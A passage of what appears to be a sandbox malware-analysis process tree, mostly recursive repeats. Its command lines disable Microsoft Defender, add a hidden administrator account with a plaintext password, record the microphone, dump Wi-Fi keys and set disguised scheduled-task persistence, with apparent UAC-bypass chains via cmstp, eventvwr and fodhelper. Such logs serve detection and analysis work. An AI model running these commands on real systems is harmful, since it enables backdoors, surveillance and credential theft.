        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        27⤵
        
        PID:17152
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        26⤵
        
        PID:10640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        27⤵
        
        PID:19060
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        26⤵
        
        PID:2840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071295164176.wav')"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17772
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:17308
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        
        PID:17692
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:2052
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:5628
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:17960
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        24⤵
        
        PID:9376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071202834836.wav')"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12408
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        24⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        
        PID:3508
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        
        PID:16652
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:13668
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:11796
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:9056
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:15016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071137311317.wav')"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:18640
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14460
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:4552
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        
        PID:3508
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:11940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:12796
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:17008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281071022368061.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:18316
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        
        PID:14740
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:15664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        
        PID:4588
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:13428
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:15612
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:12704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070938700894.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7520
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        
        PID:13620
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        
        PID:13928
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:13380
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:6500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:15168
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:16104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070855595187.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16448
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        
        PID:11480
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:13200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        
        PID:11588
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:13196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:12852
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070752615746.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15692
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:16340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        
        PID:10324
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7868
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:11696
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:11776
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10616
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:6076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070660639790.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14376
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        
        PID:8
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:2872
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        
        PID:9488
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9620
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:11084
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070609374173.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13668
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        
        PID:7228
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8904
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        
        PID:8416
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8160
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:5280
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:10556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070536644503.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10920
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:7028
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7624
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        
        PID:6848
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6620
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:1324
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070464351883.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12064
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      PID:2788
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      PID:6168
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6960
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:2904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6164
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070404325184.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10292
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:3360
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    PID:3744
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6616
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7600
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639281070390946931.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3444

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:4972
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1848
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\087bcfc6-0d12-4e98-be32-02c5fc4ecac9.inf
  2⤵
  PID:5012
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:2384
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:4556
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2836
- - C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
    "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
    3⤵
    PID:3428
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5416
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\98a46048-59b7-4e74-951d-e4c86a6e38fd.inf
      4⤵
      PID:1956
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:1504
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2844
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:1596
    - - C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        5⤵
        
        PID:6212
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6672
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7b8a0dc5-efe7-46fe-8377-2ab327dc3558.inf
        6⤵
        
        PID:7052
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5304
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:1724
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:4948
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        7⤵
        
        PID:1048
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7380
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ed226754-f43f-4f55-8b78-9184c1a19b65.inf
        8⤵
        
        PID:7452
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7588
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7724
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7732
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        9⤵
        
        PID:6996
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6456
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d90c881d-39de-4dbb-ac3a-9a9fb66d542a.inf
        10⤵
        
        PID:8412
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8756
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8928
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:9004
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        11⤵
        
        PID:8080
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9480
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0a90022b-77bc-4e93-bc92-29720569efdc.inf
        12⤵
        
        PID:9568
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:9720
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:10000
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8968
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        13⤵
        
        PID:5580
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10484
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\21cda323-b857-4c0e-a3ef-222b0130e6c8.inf
        14⤵
        
        PID:9492
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:7660
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9256
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:11212
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        15⤵
        
        PID:12264
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11416
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0b6667cf-cd04-4f16-b767-113a880321e2.inf
        16⤵
        
        PID:12444
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:12772
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:12864
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:13064
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        17⤵
        
        PID:10528
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13484
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a9bbb2f6-a88d-457b-ba6a-389ed778520e.inf
        18⤵
        
        PID:13768
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:13936
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:14084
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:14124
        
